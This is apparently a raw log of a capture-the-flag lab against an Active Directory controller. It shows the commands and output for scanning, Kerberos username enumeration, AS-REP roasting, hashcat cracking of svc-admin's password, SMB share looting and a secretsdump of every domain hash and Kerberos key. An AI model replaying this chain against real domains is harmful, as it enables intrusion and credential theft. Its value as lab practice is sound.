Nmap

root@ip-10-10-166-54:~# nmap -sV 10.10.161.54
Starting Nmap 7.80 ( <https://nmap.org> ) at 2025-06-15 22:08 BST
Nmap scan report for 10.10.161.54
Host is up (0.00091s latency).
Not shown: 987 closed ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-15 21:08:29Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <https://nmap.org/cgi-bin/submit.cgi?new-service> :
SF-Port53-TCP:V=7.80%I=7%D=6/15%Time=684F3652%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\\0\\x1e\\0\\x06\\x81\\x04\\0\\x01\\0\\0\\0\\0\\0\\0\\x07version\\
SF:x04bind\\0\\0\\x10\\0\\x03");
MAC Address: 02:B9:B4:92:F6:DB (Unknown)
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 150.78 seconds

Enum4linux

root@ip-10-10-166-54:~# enum4linux -U -o 10.10.161.54
WARNING: polenum.py is not in your path.  Check that package is installed and your PATH is sane.
Starting enum4linux v0.8.9 ( <http://labs.portcullis.co.uk/application/enum4linux/> ) on Sun Jun 15 22:09:37 2025

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 10.10.161.54
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

 ==================================================== 
|    Enumerating Workgroup/Domain on 10.10.161.54    |
 ==================================================== 
[+] Got domain/workgroup name: THM-AD

 ===================================== 
|    Session Check on 10.10.161.54    |
 ===================================== 
[+] Server 10.10.161.54 allows sessions using username '', password ''

 =========================================== 
|    Getting domain SID for 10.10.161.54    |
 =========================================== 
Domain Name: THM-AD
Domain Sid: S-1-5-21-3591857110-2884097990-301047963
[+] Host is part of a domain (not a workgroup)

 ====================================== 
|    OS information on 10.10.161.54    |
 ====================================== 
Use of uninitialized value $os_info in concatenation (.) or string at /root/Desktop/Tools/Miscellaneous/enum4linux.pl line 464.
[+] Got OS info for 10.10.161.54 from smbclient: 
[+] Got OS info for 10.10.161.54 from srvinfo:
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

 ============================= 
|    Users on 10.10.161.54    |
 ============================= 
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED

[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
enum4linux complete on Sun Jun 15 22:09:38 2025

Kerbrute

root@ip-10-10-166-54:~# kerbrute userenum -d spookysec.local --dc 10.10.161.54 userlist.txt 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \\/ ___/ __ \\/ ___/ / / / __/ _ \\
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\\___/_/  /_.___/_/   \\__,_/\\__/\\___/                                        

Version: v1.0.3 (9dad6e1) - 06/15/25 - Ronnie Flathers @ropnop

2025/06/15 22:35:21 >  Using KDC(s):
2025/06/15 22:35:21 >  	10.10.161.54:88

2025/06/15 22:35:21 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:35:21 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:35:21 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:35:21 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:35:22 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:35:23 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:35:25 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:35:25 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:35:29 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:35:30 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:35:37 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:35:51 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:35:56 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:36:11 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:36:16 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:36:24 >  [+] VALID USERNAME:	 [email protected]
2025/06/15 22:36:45 >  Done! Tested 73317 usernames (16 valid) in 84.364 seconds

Impacket

root@ip-10-10-166-54:~# python3.9 /opt/impacket/examples/GetNPUsers.py spookysec.local/ -dc-ip 10.10.161.54 -usersfile userlist1.txt -format hashcat -outputfile hashes1.txt
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[-] User james doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User James doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User darkstar doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User backup doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User paradox doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User JAMES doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Robin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Darkstar doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Paradox doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User DARKSTAR doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ori doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ROBIN doesn't have UF_DONT_REQUIRE_PREAUTH set

root@ip-10-10-166-54:~# cat hashes1.txt 
[email protected]:f566d528b6754f8f1bcde730a30259ad$b7c0aa20eebc15bb4d7a5c533d8801fdbcf40497f25a8313133a8c4ec1e03603d7b5b96705dc855e43520e3a95aceb4498936e439fbe4e7ed5dd8a9c05acd0003cba3b6f91af2bf0ada11deb3e85e2ef850b1a4dc18b7ad684af73e7b7b1ec583f7bbbc9239f4675fc9f6c10150ba7dc5fec4ba623dea9b85c6a2ed9c6eaa6e3d0adc0c6fcce77456f327111693d936742a9e92540e622d3e691ac5002f96a28811395bd81b873763607b235afb59f5baacae368bf7b7ce64b1379e3f20a122800168427713db241719c91749dae5d86b7bb6e56226c5d3b882c4500b3f5fd7fb1464fd59e2b760d8a7cf5bb975b956f1988

Hashcat

root@ip-10-10-166-54:~# hashcat -a 0 -m 18200 hashes.txt passwordlist.txt
hashcat (v6.1.1-66-g6a419d06) starting...

* Device #2: Outdated POCL OpenCL driver detected!

This OpenCL driver has been marked as likely to fail kernel compilation or to produce false negatives.
You can use --force to override this, but do not report related errors.

OpenCL API (OpenCL 1.2 LINUX) - Platform #1 [Intel(R) Corporation]
==================================================================
* Device #1: AMD EPYC 7571, 3800/3864 MB (966 MB allocatable), 2MCU

OpenCL API (OpenCL 1.2 pocl 1.4, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project]
=============================================================================================================================
* Device #2: pthread-AMD EPYC 7571, skipped

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 35 MB

Dictionary cache built:
* Filename..: passwordlist.txt
* Passwords.: 70188
* Bytes.....: 569236
* Keyspace..: 70188
* Runtime...: 0 secs

[email protected]:3f3e903d83a67ecd9045b71c98178e08$9ccc43641ed4722ec3d941837440a265f86babdd4b97e0c417b8cbfb0f007f72cd89297400423fdcca1cdd81690b5a203222ee99e726fe6787736a30b7b7ce79fc6f97c47c4353f814d486f8085ee17ff408295bc2296c8b951c4eb9a30257b3a5136d1e31a2731e75abcc6057b380a3eb1b0e6b392d371425aa39db7625bd746f193ea1ec8fa3ca08800806b887d4b8ece4df827eec458ffc9429994c22a16f5c3c4ce5c4243b3ba0bf83588f2156fee42fa243b7ba82dbdc7a9863e5ec44892352292568297cfe223b2fa6ebb5050e9acc0cb379217adcb17dcc3ae328c38810538eb4754efdeaf37d3b107b965cf00980:management2005
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: [email protected]:3f3e903d83a...f00980
Time.Started.....: Sun Jun 15 23:23:20 2025 (0 secs)
Time.Estimated...: Sun Jun 15 23:23:20 2025 (0 secs)
Guess.Base.......: File (passwordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   330.0 kH/s (9.24ms) @ Accel:32 Loops:1 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 8192/70188 (11.67%)
Rejected.........: 0/8192 (0.00%)
Restore.Point....: 4096/70188 (5.84%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: newzealand -> whitey

Started: Sun Jun 15 23:22:28 2025
Stopped: Sun Jun 15 23:23:21 2025

SMBClient

root@ip-10-10-166-54:~# smbclient -L //spookysec.local -U svc-admin
Password for [WORKGROUP\\svc-admin]:

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	backup          Disk      
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available
root@ip-10-10-166-54:~# smbclient //spookysec.local/backup -U svc-admin
Password for [WORKGROUP\\svc-admin]:
Try "help" to get a list of possible commands.
smb: \\> ls
  .                                   D        0  Sat Apr  4 20:08:39 2020
  ..                                  D        0  Sat Apr  4 20:08:39 2020
  backup_credentials.txt              A       48  Sat Apr  4 20:08:53 2020

		8247551 blocks of size 4096. 3640410 blocks available
smb: \\> get backup_credentials.txt 
getting file \\backup_credentials.txt of size 48 as backup_credentials.txt (4.3 KiloBytes/sec) (average 4.3 KiloBytes/sec)
smb: \\> ^C
root@ip-10-10-166-54:~# cat backup_credentials.txt 
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

image.png

[email protected]:backup2517860

Impacket

root@ip-10-10-166-54:~# python3.9 /opt/impacket/examples/secretsdump.py spookysec.local/backup:[email protected]
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local\\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local\\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::
spookysec.local\\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::
spookysec.local\\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::
spookysec.local\\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::
spookysec.local\\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::
spookysec.local\\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::
spookysec.local\\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
spookysec.local\\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
ATTACKTIVEDIREC$:1000:aad3b435b51404eeaad3b435b51404ee:9c23c6871953c8b6e5ca718110f71ddd:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c0c701ad2948ee0f48
Administrator:aes128-cts-hmac-sha1-96:e9077719bc770aff5d8bfc2d54d226ae
Administrator:des-cbc-md5:2079ce0e5df189ad
krbtgt:aes256-cts-hmac-sha1-96:b52e11789ed6709423fd7276148cfed7dea6f189f3234ed0732725cd77f45afc
krbtgt:aes128-cts-hmac-sha1-96:e7301235ae62dd8884d9b890f38e3902
krbtgt:des-cbc-md5:b94f97e97fabbf5d
spookysec.local\\skidy:aes256-cts-hmac-sha1-96:3ad697673edca12a01d5237f0bee628460f1e1c348469eba2c4a530ceb432b04
spookysec.local\\skidy:aes128-cts-hmac-sha1-96:484d875e30a678b56856b0fef09e1233
spookysec.local\\skidy:des-cbc-md5:b092a73e3d256b1f
spookysec.local\\breakerofthings:aes256-cts-hmac-sha1-96:4c8a03aa7b52505aeef79cecd3cfd69082fb7eda429045e950e5783eb8be51e5
spookysec.local\\breakerofthings:aes128-cts-hmac-sha1-96:38a1f7262634601d2df08b3a004da425
spookysec.local\\breakerofthings:des-cbc-md5:7a976bbfab86b064
spookysec.local\\james:aes256-cts-hmac-sha1-96:1bb2c7fdbecc9d33f303050d77b6bff0e74d0184b5acbd563c63c102da389112
spookysec.local\\james:aes128-cts-hmac-sha1-96:08fea47e79d2b085dae0e95f86c763e6
spookysec.local\\james:des-cbc-md5:dc971f4a91dce5e9
spookysec.local\\optional:aes256-cts-hmac-sha1-96:fe0553c1f1fc93f90630b6e27e188522b08469dec913766ca5e16327f9a3ddfe
spookysec.local\\optional:aes128-cts-hmac-sha1-96:02f4a47a426ba0dc8867b74e90c8d510
spookysec.local\\optional:des-cbc-md5:8c6e2a8a615bd054
spookysec.local\\sherlocksec:aes256-cts-hmac-sha1-96:80df417629b0ad286b94cadad65a5589c8caf948c1ba42c659bafb8f384cdecd
spookysec.local\\sherlocksec:aes128-cts-hmac-sha1-96:c3db61690554a077946ecdabc7b4be0e
spookysec.local\\sherlocksec:des-cbc-md5:08dca4cbbc3bb594
spookysec.local\\darkstar:aes256-cts-hmac-sha1-96:35c78605606a6d63a40ea4779f15dbbf6d406cb218b2a57b70063c9fa7050499
spookysec.local\\darkstar:aes128-cts-hmac-sha1-96:461b7d2356eee84b211767941dc893be
spookysec.local\\darkstar:des-cbc-md5:758af4d061381cea
spookysec.local\\Ori:aes256-cts-hmac-sha1-96:5534c1b0f98d82219ee4c1cc63cfd73a9416f5f6acfb88bc2bf2e54e94667067
spookysec.local\\Ori:aes128-cts-hmac-sha1-96:5ee50856b24d48fddfc9da965737a25e
spookysec.local\\Ori:des-cbc-md5:1c8f79864654cd4a
spookysec.local\\robin:aes256-cts-hmac-sha1-96:8776bd64fcfcf3800df2f958d144ef72473bd89e310d7a6574f4635ff64b40a3
spookysec.local\\robin:aes128-cts-hmac-sha1-96:733bf907e518d2334437eacb9e4033c8
spookysec.local\\robin:des-cbc-md5:89a7c2fe7a5b9d64
spookysec.local\\paradox:aes256-cts-hmac-sha1-96:64ff474f12aae00c596c1dce0cfc9584358d13fba827081afa7ae2225a5eb9a0
spookysec.local\\paradox:aes128-cts-hmac-sha1-96:f09a5214e38285327bb9a7fed1db56b8
spookysec.local\\paradox:des-cbc-md5:83988983f8b34019
spookysec.local\\Muirland:aes256-cts-hmac-sha1-96:81db9a8a29221c5be13333559a554389e16a80382f1bab51247b95b58b370347
spookysec.local\\Muirland:aes128-cts-hmac-sha1-96:2846fc7ba29b36ff6401781bc90e1aaa
spookysec.local\\Muirland:des-cbc-md5:cb8a4a3431648c86
spookysec.local\\horshark:aes256-cts-hmac-sha1-96:891e3ae9c420659cafb5a6237120b50f26481b6838b3efa6a171ae84dd11c166
spookysec.local\\horshark:aes128-cts-hmac-sha1-96:c6f6248b932ffd75103677a15873837c
spookysec.local\\horshark:des-cbc-md5:a823497a7f4c0157
spookysec.local\\svc-admin:aes256-cts-hmac-sha1-96:effa9b7dd43e1e58db9ac68a4397822b5e68f8d29647911df20b626d82863518
spookysec.local\\svc-admin:aes128-cts-hmac-sha1-96:aed45e45fda7e02e0b9b0ae87030b3ff
spookysec.local\\svc-admin:des-cbc-md5:2c4543ef4646ea0d
spookysec.local\\backup:aes256-cts-hmac-sha1-96:23566872a9951102d116224ea4ac8943483bf0efd74d61fda15d104829412922
spookysec.local\\backup:aes128-cts-hmac-sha1-96:843ddb2aec9b7c1c5c0bf971c836d197
spookysec.local\\backup:des-cbc-md5:d601e9469b2f6d89
spookysec.local\\a-spooks:aes256-cts-hmac-sha1-96:cfd00f7ebd5ec38a5921a408834886f40a1f40cda656f38c93477fb4f6bd1242
spookysec.local\\a-spooks:aes128-cts-hmac-sha1-96:31d65c2f73fb142ddc60e0f3843e2f68
spookysec.local\\a-spooks:des-cbc-md5:e09e4683ef4a4ce9
ATTACKTIVEDIREC$:aes256-cts-hmac-sha1-96:ac2dc299567f1ed946ca09b52a819d20b9a5deefdea321cf3d011d786b6284b7
ATTACKTIVEDIREC$:aes128-cts-hmac-sha1-96:0622fd90675b9e5b21462efd4bc465be
ATTACKTIVEDIREC$:des-cbc-md5:9426b6febf6dc2ab
[*] Cleaning up...